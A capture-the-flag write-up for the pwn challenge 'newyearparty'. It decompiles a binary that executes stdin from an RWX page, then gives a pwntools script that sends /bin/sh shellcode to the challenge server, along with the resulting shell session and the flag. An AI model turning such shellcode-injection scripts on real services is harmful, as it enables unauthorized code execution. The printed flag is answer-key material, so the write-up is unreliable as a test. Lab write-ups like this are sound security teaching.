newyearparty

Category: Pwn
Files: task
Description: I came to a funny New Year's Eve party. You need to run /bin/newyear/

Inspecting the binary with checksec:

❯  checksec task
    Arch:       amd64-64-little
    RELRO:        Partial RELRO
    Stack:        No canary found
    NX:           NX enabled
    PIE:          No PIE (0x400000)
    Stripped:     No

While NX is enabled, the binary’s behavior—as we’ll see in the analysis—is designed to explicitly bypass this protection by mapping its own executable memory region.

Program Analysis

In this challenge, we were given a binary named newyearparty. Let’s try to examine the decompiled code.

main

1
int main(void) {
2
    bool bVar1;
3
    char local_418[1032];
4
    void (*local_10)(void);
5

6
    // Map a page of memory with Read, Write, and Execute permissions
7
    local_10 = (void (*)())mmap((void *)0x0, 0x1000,
8
                PROT_READ | PROT_WRITE | PROT_EXEC,
9
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
10

11
    bVar1 = local_10 != (void *)MAP_FAILED;
12

13
    if (bVar1) {
14
        puts("Help Santa and save the holiday");
15
        fflush(stdout);
16

17
        // Read up to 0x400 (1024) bytes from stdin
18
        if (fgets(local_418, 0x400, stdin) != NULL) {
19
            // Copy the input into the RXW memory
20
            strcpy((char *)local_10, local_418);
21

22
            // Execute the shellcode
23
            local_10();
24
        }
25
    } else {
26
        perror("mmap");
27
    }
28

29
    return !bVar1;
30
}

The main() function is straightforward but incredibly dangerous. It begins by using mmap() to allocate a page of memory with PROT_READ | PROT_WRITE | PROT_EXEC permissions—meaning anything written there can be executed.

It then prompts the user for input using fgets(), which reads up to 0x400 (1024) bytes. This input is then copied directly into the executable memory page via strcpy(). Finally, the program simply jumps to the start of that page and executes whatever we sent. This is a classic Shellcode Execution vulnerability.

Now that we know the bug, let’s move to the exploitation part.

Exploitation

Since the program executes our input directly, we just need to provide valid x64 shellcode. We can use pwntools to generate a standard /bin/sh shellcode, or specifically target the /bin/newyear/ path mentioned in the description.

Exploit Script

1
from pwn import *
2

3
def start(argv=[], *a, **kw):
4
    if args.GDB:
5
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
6
    elif args.REMOTE:
7
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
8
    else:
9
        return process([exe] + argv, *a, **kw)
10

11
gdbscript = '''
12
init-pwndbg
13
set follow-fork-mode parent
14
set follow-exec-mode same
15
continue
16
'''.format(**locals())
17

18
exe = './task'
19
elf = context.binary = ELF(exe, checksec=False)
20
context.terminal = ['tmux', 'splitw', '-h']
21
context.log_level = 'debug'
22

23
def logleak(name, val):  log.success(name+' = %#x' % val)
24
def loglibc(): log.success('libc addr = %#x' % libc.address)
25
def logbase(): log.success('pie addr = %#x' % elf.address)
26
def sa(delim,data): return io.sendafter(delim,data)
27
def sla(delim,line): return io.sendlineafter(delim,line)
28
def sl(line): return io.sendline(line)
29

30
# ===========================================================
31
#                    EXPLOIT GOES HERE
32
# ===========================================================
33

34
# Lib-C library, can use pwninit/patchelf to patch binary
35
# libc = ELF("./libc.so.6")
36
# ld = ELF("./ld-2.27.so")
37

38
offset = 72
39

40
io = start()
41

42
shellcode = asm(shellcraft.sh())
43

44
sl(shellcode)
45

46
io.interactive()

Running the script gives us an interactive shell on the server, allowing us to run /bin/newyear/ and get the flag.

$ python3 xploit.py REMOTE ctf.mf.grsu.by 9075
[+] Opening connection to ctf.mf.grsu.by on port 9075: Done
[*] Switching to interactive mode
Help Santa and save the holiday
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ /bin/newyear
grodno{S1ve_tH1_NeW_YeAr_fRoM_Gr1NCh1@(@#*#@!}
$

Flag: grodno{S1ve_tH1_NeW_YeAr_fRoM_Gr1NCh1@(@#*#@!}